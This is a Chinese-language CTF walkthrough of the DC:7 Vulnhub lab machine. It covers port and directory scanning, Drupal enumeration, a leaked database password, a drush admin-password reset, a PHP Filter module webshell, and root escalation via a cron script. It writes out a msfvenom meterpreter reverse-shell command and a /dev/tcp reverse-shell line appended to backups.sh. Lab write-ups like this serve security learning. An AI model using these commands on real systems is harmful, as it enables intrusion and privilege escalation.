banner
soapffz

soapffz

github
steam
bilibili
douban

DC:7-Vulnhub Walkthrough

靶机地址

工具及漏洞信息#

  • netdiscover
  • nmap
  • dirb
  • dirsearch
  • gobuster
  • droopescan
  • 计划任务提权

** 部分工具的用法和详细说明请参考此系列的第一篇文章:bossplayersCTF:1-Vulnhub Walkthrough **

0x00 信息收集#

扫描靶机信息#

netdiscover-r参数扫描192.168.1.0/16结果如下:

image

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.8

image

robots.txt没有什么可利用的,主页最下面写着Powered by Drupal

扫描路径#

dirb扫描路径:

dirb http://192.168.1.8

image

dirsearch

python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

image

gobuster

gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

image

0x01 漏洞扫描#

一圈目录下来,都没什么特别的,user/login界面也没有弱密码:

image

而且后台限制了 5 次登录失败会被暂时锁定,只能从网站框架和模板入手了

Github上针对Drupal的漏扫工具有droopescandrupwn

但是后者不好用就不做介绍了

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32

image

而漏洞库不包含扫描出来的版本:

image

cms本身漏洞无法利用,那我们就解决作者本身吧::quyin:OK::

0x01 获得普通账号#

主页的底部除了Powered by Drupal

还有作者的名字@DC7USER,搜了下发现是twitter账号:

image

并且在首页放着一个大大的github链接,作者只有一个仓库staffdb

config.php里明晃晃地写着账号密码和数据库名字:

image

$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";

于是用ssh登录进去:ssh dc7user@192.168.1.9,获得了dc7usershell:

image

0x02 获取 shell#

获取到shell第一步当然是查看当前目录有什么文件:

image

mbox很显眼,查看一下:

image

邮件内容应该是备份的日志,调用的脚本是/opt/scripts/backups.sh

貌似还是root权限执行的。如果当前用户有脚本的写入权限,那么应该就可以提权了。

查了一下www-dataroot用户才能修改,内容是用来管理Drupal站点的shell

image

其中有一句话引起了我的注意:

drush sql-dump --result-file=/home/dc7user/backups/website.sql

查了一下,这个drush命令是可以用来修改密码的:

drush user-password USERNAME --password="SOMEPASSWORD"

于是尝试修改admin的密码,需要到某些指定目录例如/var/www/html才能修改:

image

获得管理员账户之后我们登录网站来反弹shell

image

出于安全考虑,PHP Filter已经从Drupal核心中移除

后续作为一个module存在,可以通过手动下载安装:

image

打开网站的模块安装界面/admin/modules:

image

image

搜索模块php,选中我们刚才安装的PHP,点击install启动模块:

image

模块安装好后就可以开始利用漏洞了,在Content中新建一个Basic page

然后在Title输入页面的名称webshell,在Body中放入反弹shellPHP代码

我这里使用msfvenom生成的php shell:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw

Text format的位置选择PHP code:

image

弄完之后,先别操作,在kali上监听端口

msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp

image

最后点击Preview按钮,第一次可能不会成功,退出Preview再来一次即可:

image

获取到的shellwww-root用户的:

image

0x03 backups.sh 提权 root#

之前邮件里的备份计划任务使用的脚本/opt/scripts/backups.sh只有rootwww-data用户可以修改。

所以接下来就是将反弹shell的代码附加到backups.sh脚本中

(因为计划任务是root权限执行的,反弹回来的shell也会是root用户)

然后在kali中监听相应端口,等待计划任务的执行:

使用shell进入命令行
使用/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
在另外的终端监听指定端口:nc -lvp 3456
将反弹shell代码写进backups.sh:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh

image

等待靶机执行定时任务就可以获得rootshell:

image

成功获得flag:

image

本文完。

参考文章:

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.